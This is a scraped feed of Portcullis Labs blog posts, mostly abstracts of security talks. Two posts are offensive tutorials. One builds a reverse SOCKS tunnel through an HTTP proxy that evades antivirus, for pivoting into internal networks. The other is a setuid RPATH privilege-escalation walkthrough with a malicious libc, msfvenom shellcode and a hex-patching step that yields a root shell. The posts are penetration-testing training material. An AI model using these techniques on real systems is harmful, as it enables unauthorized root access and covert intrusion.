The post Security Engineering – A manifesto for defensive security appeared first on Portcullis Labs.
]]>Having delivered security consultancy as part of Portcullis/Cisco for over 15 years, I’ve seen a variety of shades of broken. Since I recently spent some time on secondment to one of our customers to help them design, build and operationalise security as part of their digital transformation programme, I got to thinking: what would I do if I wanted to get projects delivered right? With apologies to grsec, Jericho Forum, BeyondCorp and Trusted Computing, what followed was part philosophy, part technical brain dump, the result being my take on security engineering and how to build defensible systems. This talk includes the following hits:
The post Security Engineering – A manifesto for defensive security appeared first on Portcullis Labs.
]]>The post So you want to build a SOC: Lessons from the front line appeared first on Portcullis Labs.
]]>This talk will not help you build a SOC in only 60 minutes, but it will help you build a functional security operation over time.
Building a SOC can be daunting. This talk will look at how to pick your fights and the key battles (authentication, logging, etc.) that any operational security team needs to win. The session will discuss how to ensure you formalize existing good practices and just as importantly what gaps may exist in the team’s processes. The session will look at the next steps that any organization intending to set off down this road ought to consider.
The post So you want to build a SOC: Lessons from the front line appeared first on Portcullis Labs.
]]>The post Is that really you? The importance of identity in breach response and recovery appeared first on Portcullis Labs.
]]>Richard Dean, Cisco’s EMEAR Head Of Security Advisory Services looks at Cisco’s approach to zero trust.
This talk discusses the need to monitoring your users’ access and privileges and how securing them as they interact with the Internet is core to a Zero Trust approach to cybersecurity. Richard doesn’t just stop there though but rather moves on to look at what happens if you’re facing a deliberate attempt to steal your users’ identities in order to take advantage of these privileges? In this talk, you’ll learn how to manage identity effectively, as well as the importance of software defined networks in the drive to zero trust and rapid threat containment.
Learning outcomes:
The post Is that really you? The importance of identity in breach response and recovery appeared first on Portcullis Labs.
]]>The post Discover the secrets of the SOC appeared first on Portcullis Labs.
]]>Simon Crocker, Cisco’s EMEAR lead for SOC Advisory looks at what goes into making a SOC work effectively.
This talk discusses the core SOC requirements around monitoring and incident response function, but also touches on some of the other services that SOCs can also provide.
Learning outcomes:
The post Discover the secrets of the SOC appeared first on Portcullis Labs.
]]>The post Use Infrastructure as Code they said. Easier to audit they said… (part 1) appeared first on Portcullis Labs.
]]>Many of the current generation of infrastructure orchestration tools utilise Domain Specific Languages presented through the medium of YAML, JSON etc which allow the infradev team to specify programmatically, the architecture and nature of the infrastructure they manage. Just how secure are these language and where might we find gaps that an offensive party might seek to exploit? In practice, what I was really thinking was, if I want to review commits (automatically), then what exactly do I want my tools to look for and why? This seems like an obvious question but at that point, I hadn’t seen a huge amount of talk (or more importantly, based on the work I do, evidence) on how others were doing this to review their templates before they’d been built and deployed….
The good news is that somewhere along the way, whilst I was still asking around and before I started to work on this series of posts, I discovered cfn_nag which looked like a great start, albeit only if you’re working on AWS‘s CloudFormation platform. Taking inspiration from this discovery, my next search was for a linting tool for Ansible (my preferred choice for infrastructure orchestration) and this too yielded results, namely ansible-lint. It turns out that there is more going on than I’d originally feared but that if you want to do this kind of thing (and you should), you really want to be looking for linting tools for your preferred templating language. One observation I’ll make however is that many of these linters don’t appear to have a regular stream of updates and that they may only support a limited set of checks.
In the next part of my thought experiment, we’ll take a deeper dive and I’ll start to consider just how effective these linters are, looking at both the theory of static analysis and code review as it applies to secure development more generally and just as importantly, looking at the assurance these tools can give you.
The post Use Infrastructure as Code they said. Easier to audit they said… (part 1) appeared first on Portcullis Labs.
]]>The post Reverse port forwarding SOCKS proxy via HTTP proxy (part 1) appeared first on Portcullis Labs.
]]>I recently spent quite a long time preparing for the CREST Certified Simulated Attack Specialist exam. While I won’t be discussing exam content (which I’m under NDA for), I thought it could be beneficial to write up at least some of the interesting stuff that I prepared prior to sitting the exam.
I spent a lot of time testing my tools and techniques against 5 different Anti-Virus (AV) products. I wanted to be sure that I had enough options available to me during the exam to operate efficiently, even if AV was present. One scenario that I wanted to be prepared for was:
My practice had shown that I was able to deploy my C2 software of choice onto only 4 out 5 test systems. So this seemed like something I needed to prepare for. Just in case.
In parallel with this, I’d found that performance of SOCKS over a reverse HTTPS connection was barely adequate for tunneling an RDP connection. So I was interested in finding a solution that was:
My instinct was to try to SSH out of the network and use the SOCKS proxy built into SSH. There were a few problems with this approach:
To solve (3) I looked for a small command line SOCKS proxy that ran on Windows. I did find some, but they all felt a bit dodgy and some said on their website that they definitely weren’t malware, despite what AV products said. Which is probably true, but it made them a poor option if I wanted to operate in the presence of AV.
Eventually I stumbled on a SOCKS5 implementation written in golang written by Armon Dagar. I’d heard that golang malware would be on the rise in 2019, so this was a good opportunity for me to waste valuable revision time on a side-interest. I’d never even compiled a golan program before. If this wasn’t too hard, it would be a nice cross-platform solution for my needs.
$ mkdir -p ~/go/src $ cd !$ $ git clone https://github.com/armon/go-socks5 $ mv go-socks5 socks5 $ cd socks5 $ go build
No errors
But no server either. This is just a library! You need to write some code to use it.
Fortunately, the author provides an example that’s easily adapted:
mkdir -p ~/go/src/mysocks5 cd !$ $ cat << EOF > mysocks.go // Create a SOCKS5 server package main import "socks5" func main() { conf := &socks5.Config{} server, err := socks5.New(conf) if err != nil { panic(err) } // Create SOCKS5 proxy on localhost port 1080 if err := server.ListenAndServe("tcp", "127.0.0.1:1080"); err != nil { panic(err) } } EOF go build
Done! I now had a “mysocks5″ executable. And it worked. Repeating similar steps on Windows gave me a working mysocks5.exe. I was starting to like golang at this point.
After getting almost to the finish line with the following plink command, I couldn’t specify an HTTP proxy from the command line:
plink -N -P 443 -i puttykey.priv.ppk -R 2080:127.0.0.1:1080 -hostkey db:b0:69:08:20:b1:61:2d:da:f4:e2:d8:0f:b8:71:9a tunnnel@192.168.0.1
A quick overview of options here:
Using the normal putty.exe GUI, I saved a session that specified all of the above detail, plus the required proxy settings (unauthenticated in the case of my lab):
I saved a putty session called myproxy, then retried plink:
plink -load myproxy
It crashed. Hence, why I’m not using plink. Putty works fine, though:
putty -load myproxy
Well, sort of fine. The victim user would have a suspicious-looking putty window pop up alongside the mysocks console window. But this is just a PoC. Let’s ignore these missing optimisations!
On the server-side, we see a network listener on port 2080.
tcp 0 0 0.0.0.0:2080 0.0.0.0:* LISTEN
I wanted the service bound to 0.0.0.0 for my environment, but consider that anyone with network access could abuse your SOCKS proxy.
This provides a relatively high-performance SOCKS server – much better than those laggy SOCKS-over-reverse-HTTPS connections. Implants typically poll periodically over HTTPS, which means that traffic can only be sent when the implant calls home. The above method is more akin to SOCKS-over-reverse-TCP. Data can be sent in either direction immediately without waiting for a check-in. Arguably, the above method will create a more suspicious traffic pattern and some application-layer aware proxies won’t allow it (though tunneling over SSL could help).
To deliver above attack, we need to package up the software and configuration so it can be run from the command line. We’ll assume that we can upload and unpack zip files for this part (or the post will get too long). I included the following in myproxy.zip:
To deploy, we need to run mysocks.bat, which does the following:
reg import myproxy.reg start mysocks5 putty -load myproxy
All finished. We can pivot through our fast SOCKS proxy. For example, to access RDP on the internal network, I’d do something like:
$ cat /etc/proxychains.conf ... socks5 127.0.0.1 2080 $ proxychains remmina
Where remmina is a pretty awesome RDP client for Linux. You can also use proxifier on Windows if you’d rather use mstsc.exe.
We showed a PoC to get a reverse SOCKS connection out of a network using tools that won’t trigger AV. They don’t require privileges run, so would work against an unprivileged windows user. The connection is faster than if we’d used the SOCKS features of C2 solutions that use polling reverse-HTTPS connections.
Our attack is untidy because the user can see everything that happens! It’s also awkward to set up because of the registry export and required packaging.
The post Reverse port forwarding SOCKS proxy via HTTP proxy (part 1) appeared first on Portcullis Labs.
]]>The post An offensive introduction to Active Directory on UNIX appeared first on Portcullis Labs.
]]>Having seen an uptick in unique UNIX infrastructures that are integrated into customers’ existing Active Directory forests, the question becomes, “Does this present any concerns that may not be well understood?” This quickly became “What if an adversary could get into a UNIX box and then breach your domain?”
Within a typical Active Directory integration solution (in this case SSSD), the solution shares a striking similarity to what a user might see on Windows. Notably, you have:
You can see a breakdown of this process here. Unlike Windows, there is no Group Policy for the most part (with some exceptions), so policies for sudo et al. are typically pushed as flat files to hosts.
Realistically, the threat models associated with each part of the implementation should be quite familiar to anyone securing a heterogeneous Windows network. Having worked with a variety of customers, it becomes apparent that the typical UNIX administrator who does not have a strong background in Windows and Active Directory will be ill-equipped to handle this threat. While we’ve been talking about successful attacks against components such as LSASS and Kerberos for quite some time, Mimikatz dates back to at least April 2014, and dumping hashes has been around even longer. Pwdump, which dumped local Windows hashes, was published by Jeremy Allison in 1997). However, no one has really taken a concerted look at whether these attacks are possible on UNIX infrastructure, nor how a blue team might spot an adversary performing them.
As a result of this research, we were able to develop tactics, tools, and procedures that might further assist an attacker in breaching an enterprise, and we began documenting and developing appropriate strategies to allow blue teams to appropriately detect and respond to such incursions. The Black Hat EU slides can be found here and whilst the tools we developed can be found on our GitHub repo.
The post An offensive introduction to Active Directory on UNIX appeared first on Portcullis Labs.
]]>The post Where 2 worlds collide: Bringing Mimikatz et al to UNIX appeared first on Portcullis Labs.
]]>Over the past fifteen years there’s been an uptick in “interesting” UNIX infrastructures being integrated into customers’ existing AD forests. Whilst the threat models enabled by this should be quite familiar to anyone securing a heterogeneous Windows network, they may not be as well understood by a typical UNIX admin who does not have a strong background in Windows and AD. Over the last few months we’ve spent some time looking a number of specific Active Directory integration solutions (both open and closed source) for UNIX systems and documenting some of the tools, tactics and procedures that enable attacks on the forest to be staged from UNIX.
This talk describes the technical details regarding our findings. It includes Proof of Concepts (PoC) showing real-world attacks against AD joined UNIX systems. Finally, potential solutions or mitigation controls are discussed that will help to either prevent those attacks or at the very least to detect them when they occur.
Tools referenced in this talk include:
The post Where 2 worlds collide: Bringing Mimikatz et al to UNIX appeared first on Portcullis Labs.
]]>The post The importance of logs: You won’t see what you don’t log appeared first on Portcullis Labs.
]]>Building on my blog post on Cisco’s security blog entitled The Importance of Logs, I put together a presentation that picks apart some of the practical aspects of building a successful logging capability focusing on the need to document “good” and curate “bad”.
The purpose of this talk is not to help you build a SOC in 30 minutes, rather it looks at how logging can go wrong and how to plan in order to get it right. The talk includes some composite case studies which highlight some of the challenges that we’ve seen over the years (particularly when responding in customer breaches) and makes some suggestions on where interested organisations should focus their efforts next.
The post The importance of logs: You won’t see what you don’t log appeared first on Portcullis Labs.
]]>The post SetUID program exploitation: Crafting shared object files without a compiler appeared first on Portcullis Labs.
]]>A long time ago, I set my team challenge of identifying an RPATH vulnerability and (if possible) exploiting the vulnerability to run some code of their choosing with higher privileges. I named my program arp-ath – lest people wasted too much time looking for other attack vectors:
$ cat arp-ath.c #include <stdio.h> int main(void) { printf("Hello world\n"); } $ gcc -Wl,-rpath,. -o arp-ath arp-ath.c # chmod 4755 arp-ath
The program behaves as you’d expect and is linked to libc.so.6 as you’d expect:
$ ./arp-ath Hello world $ ldd arp-ath linux-vdso.so.1 => (0x00007fff0a3fd000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb6dc0d6000) /lib64/ld-linux-x86-64.so.2 (0x00007fb6dc489000)
The vulnerability lies in the fact the program seaches the current directory for its libraries:
$ readelf -a arp-ath | grep -i path 0x000000000000000f (RPATH) Library rpath: [.]
(You’ll sometimes see RUNPATH instead of RPATH, but both work). Check it’s vulnerable like this:
$ touch libc.so.6 $ ./arp-ath ./arp-ath: error while loading shared libraries: ./libc.so.6: file too short
This challenge is very similar to Level 15 of the Nebula challenge if you want to play along using that – though it’s 32-bit.
The team found the “arp-ath” vulnerability pretty quickly and replied to let me know. Which you’d expect as it is their job to find such vulnerabilities on client systems during Build Reviews.
What I hadn’t personally anticipated is what a pain it is to create a malicious modified version of libc.so.6 on 64-bit Linux. So rather than face the embarrassment of having posted a challenge that I didn’t actually have a full solution for, I cobbled together the shellcode-based solution outlined above. First let’s have a look at the difficulties I had in creating my own libc.so.6.
I lost my original notes of what I’d tried, but I’m pretty sure that I and my colleagues followed a similar path to this solution to the Nebula level 15 challenge - which has a really nice writeup of how to debug shared libraries that don’t want to work.
Here’s an initial attempt, which should cause a shell to spawn when the library is loaded (note I could also have replaced the “puts” function).
$ cat exploit1.c #include <stdlib.h> int __libc_start_main(int (*main) (int, char **, char **), int argc, char *argv, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void *stack_end) { system("/bin/sh"); } $ gcc -fPIC -shared -o libc.so.6 exploit1.c $ ldd ./arp-ath ./arp-ath: ./libc.so.6: no version information available (required by ./arp-ath) ./arp-ath: ./libc.so.6: no version information available (required by ./libc.so.6) linux-vdso.so.1 (0x00007ffeea77d000) libc.so.6 => ./libc.so.6 (0x00007f50430f9000) $ ./arp-ath ./arp-ath: ./libc.so.6: no version information available (required by ./arp-ath) ./arp-ath: ./libc.so.6: no version information available (required by ./libc.so.6) ./arp-ath: relocation error: ./libc.so.6: symbol __cxa_finalize, version GLIBC_2.2.5 not defined in file libc.so.6 with link time reference
So, let’s address those errors about lack of version numbers and failure to export __cxa_finalize (after much googling)…
$ cat version GLIBC_2.2.5{}; $ cat exploit2.c #include <stdlib.h> void __cxa_finalize (void *d) { return; } int __libc_start_main(int (*main) (int, char **, char **), int argc, char *argv, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void *stack_end) { system("/bin/sh"); } $ gcc -fPIC -shared -Wl,--version-script=version -o libc.so.6 exploit2.c $ ./arp-ath ./arp-ath: relocation error: ./libc.so.6: symbol system, version GLIBC_2.2.5 not defined in file libc.so.6 with link time reference
Hmm. More errors.
Cutting short a very long sequence of trial and error, when we eventually try to replicate the solution to the Nubula level 15 challenge on 64-bit, we find that it only seems to work for 32-bit:
gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic -o libc.so.6 exploit2.c /usr/bin/ld: /usr/lib/gcc/x86_64-linux-gnu/6/../../../x86_64-linux-gnu/libc.a(system.o): relocation R_X86_64_32 against `.bss' can not be used when making a shared object; recompile with -fPIC /usr/bin/ld: /usr/lib/gcc/x86_64-linux-gnu/6/../../../x86_64-linux-gnu/libc.a(sysdep.o): relocation R_X86_64_TPOFF32 against symbol `errno' can not be used when making a shared object; recompile with -fPIC /usr/bin/ld: /usr/lib/gcc/x86_64-linux-gnu/6/../../../x86_64-linux-gnu/libc.a(sigaction.o): relocation R_X86_64_32S against `.text' can not be used when making a shared object; recompile with -fPIC /usr/bin/ld: final link failed: Nonrepresentable section on output collect2: error: ld returned 1 exit status
If I understood my googling correctly, I need a version of libc that’s been compiled with -fPIC, but that’s not possible for some reason I didn’t understand.
I did consider grabbing the source for libc and recompiling it after a modification, but decided life was too short. I had a better (or at least quicker) idea…
I had a quick go at generating a shared object file with msfvenom:
msfvenom -a x64 -f elf-so -p linux/x64/exec CMD=/bin/sh AppendExit=true > libc.so.6 $ ./arp-ath ./arp-ath: ./libc.so.6: no version information available (required by ./arp-ath) ./arp-ath: symbol lookup error: ./arp-ath: undefined symbol: __libc_start_main, version GLIBC_2.2.5
This was awfully familiar. I didn’t grapple much more with msfvenom after this.
I figured I could open up a copy of libc.so.6 in a hex editor and paste in some shellcode over the top of __libc_start_main function. No matter how horribly I corrupted the file or how badly it crashed after it executed my shellcode, at least I’d have my shell.
I grabbed some shellcode off the internet – but equally could have generated in it Metasploit like this (I also appended a call to exit to stop the inevitable crash I mentioned):
$ msfvenom -a x64 -f hex -p linux/x64/exec CMD=/bin/sh AppendExit=true No platform was selected, choosing Msf::Module::Platform::Linux from the payload No encoder or badchars specified, outputting raw payload Payload size: 55 bytes Final size of hex file: 110 bytes 6a3b589948bb2f62696e2f736800534889e7682d6300004889e652e8080000002f62696e2f73680056574889e60f054831ff6a3c580f05
Then I made a copy of libc.so.6 and located the file offset for the __libc_start_main function:
$ cp /lib/x86_64-linux-gnu/libc.so.6 . $ objdump -FD libc.so.6 | grep _main 00000000000201f0 <__libc_start_main@@GLIBC_2.2.5> (File Offset: 0x201f0): ...
Using a hexeditor I pasted in the shellcode.
</span> <pre>$ hexedit libc.so.6
(CTRL-G to go to an offset (0x201f0); paste in our shellcode; F2 to save; CTRL-C to quit.)
$ ./arp-ath # id uid=1000(x) gid=1000(x) euid=0(root) groups=1000(x)
Finally!
I tried to get this working on AIX – which typically doesn’t have a C compiler available; AND typically has loads of RPATH vulnerabilities. However, the shellcode I tried was self-modifying. This is fine when you’re injecting shellcode as data, but the code section I was injecting into was read-only. So I got a segfault. I’ll follow up if get this working.
The quick and dirty solution, while inevitably unsatisfactory is sometimes sufficient. Especially given the lack of tools, source, time you might have when exploiting this sort of vulnerabilities. Maybe it’s not a terrible solution. You be the judge.
The post SetUID program exploitation: Crafting shared object files without a compiler appeared first on Portcullis Labs.
]]>